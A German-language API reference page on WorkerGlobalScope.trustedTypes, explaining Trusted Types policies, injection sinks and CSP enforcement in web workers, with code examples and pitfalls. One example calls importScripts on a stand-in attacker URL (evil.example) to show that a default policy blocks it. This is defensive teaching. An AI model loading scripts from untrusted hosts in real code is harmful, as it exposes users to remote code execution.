Signatur
Beschreibung
Die schreibgeschützte Eigenschaft trustedTypes von WorkerGlobalScope liefert das TrustedTypePolicyFactory-Objekt, das zum globalen Objekt des Workers gehört. Sie ist das Gegenstück zu window.trustedTypes und steht in dedizierten Workern, Shared Workern und Service Workern zur Verfügung. Im Worker spricht man sie meist als self.trustedTypes oder einfach trustedTypes an.
Über diese Factory legt man mit createPolicy() Richtlinien an, die Zeichenketten prüfen oder bereinigen und in typisierte Objekte umwandeln: TrustedHTML, TrustedScript und TrustedScriptURL. Außerdem gibt es Prüfmethoden wie isHTML(), isScript() und isScriptURL() sowie die Werte emptyHTML und emptyScript.
Im Worker betrifft das vor allem die Stellen, an denen Code geladen oder ausgeführt wird, die sogenannten Injection Sinks: importScripts() erwartet eine TrustedScriptURL, eval(), new Function() und setTimeout()/setInterval() mit Zeichenkette erwarten ein TrustedScript. Diese Pflicht greift erst, wenn die Content Security Policy des Worker-Skripts die Direktive require-trusted-types-for 'script' enthält. Dann lösen reine Zeichenketten an diesen Stellen einen TypeError aus, außer eine Standard-Richtlinie namens "default" fängt sie ab.
Rückgabewert
TrustedTypePolicyFactory des aktuellen Worker-Kontexts. In Browsern ohne Trusted-Types-Unterstützung ist die Eigenschaft undefined.Beispiele
Richtlinie für importScripts() im Worker anlegen
// worker.js – nur Skripte vom eigenen Ursprung zulassen
const scriptPolicy = self.trustedTypes?.createPolicy('worker-scripts', {
createScriptURL: (input) => {
const url = new URL(input, self.location.href);
if (url.origin !== self.location.origin) {
throw new TypeError(`Fremder Ursprung blockiert: ${url.origin}`);
}
return url.href;
},
});
const load = (path) =>
importScripts(scriptPolicy ? scriptPolicy.createScriptURL(path) : path);
load('/libs/math-helpers.js');
console.log('Hilfsbibliothek geladen');
Typen prüfen und Standardwerte nutzen
// worker.js
const tt = self.trustedTypes;
if (tt) {
const policy = tt.createPolicy('check-demo', {
createScriptURL: (s) => s,
});
const trusted = policy.createScriptURL('/jobs/task.js');
console.log(tt.isScriptURL(trusted)); // echtes TrustedScriptURL
console.log(tt.isScriptURL('/jobs/task.js')); // reine Zeichenkette
console.log(tt.emptyScript.toString() === '');
} else {
console.log('Trusted Types nicht verfügbar');
}
Standard-Richtlinie als Übergangslösung für alten Code
// worker.js – fängt reine Strings an Sinks ab, z. B. in Fremdbibliotheken
if (self.trustedTypes?.createPolicy) {
self.trustedTypes.createPolicy('default', {
createScriptURL: (input, type, sink) => {
const url = new URL(input, self.location.href);
if (url.origin === self.location.origin) return url.href;
console.warn(`Blockiert (${sink}): ${input}`);
return null; // null => Aufruf schlägt mit TypeError fehl
},
});
}
try {
importScripts('https://evil.example/x.js');
} catch (err) {
console.log(err.name);
}
// Wichtig · Fallstricke
- CSP gilt pro Worker: Ob Trusted Types erzwungen werden, hängt vom
Content-Security-Policy-Header der Worker-Skript-Antwort ab, nicht vom Dokument. Ohnerequire-trusted-types-for 'script'auf dem Worker-Skript werden reine Zeichenketten weiter angenommen. - Richtliniennamen: Mit der CSP-Direktive
trusted-typeslassen sich erlaubte Namen festlegen. Wird ein Name doppelt vergeben oder ist er nicht erlaubt, wirftcreatePolicy()einenTypeError, außer'allow-duplicates'ist gesetzt. - Kein Schutz durch bloßes Weiterreichen: Eine Richtlinie wie
(s) => shebelt den Schutz aus. Die Umwandlungsfunktionen sollten wirklich prüfen, etwa Ursprung oder Pfad per Whitelist, und im Zweifel eine Ausnahme werfen. - Trusted-Objekte sind nicht übertragbar:
TrustedScriptURLund Co. lassen sich nicht perpostMessage()zwischen Hauptthread und Worker schicken. Jeder Kontext braucht seine eigenen Richtlinien. - Kompatibilität: Chromium-Browser unterstützen die API seit Version 83. Firefox und Safari erst in neueren Versionen. Deshalb immer per
self.trustedTypes?.createPolicyprüfen oder eine Ersatzlösung (Polyfill) nutzen. - Der Worker selbst wird im Hauptthread über
new Worker(url)erzeugt. Dort braucht man bei aktivem Trusted Types eineTrustedScriptURLauswindow.trustedTypes.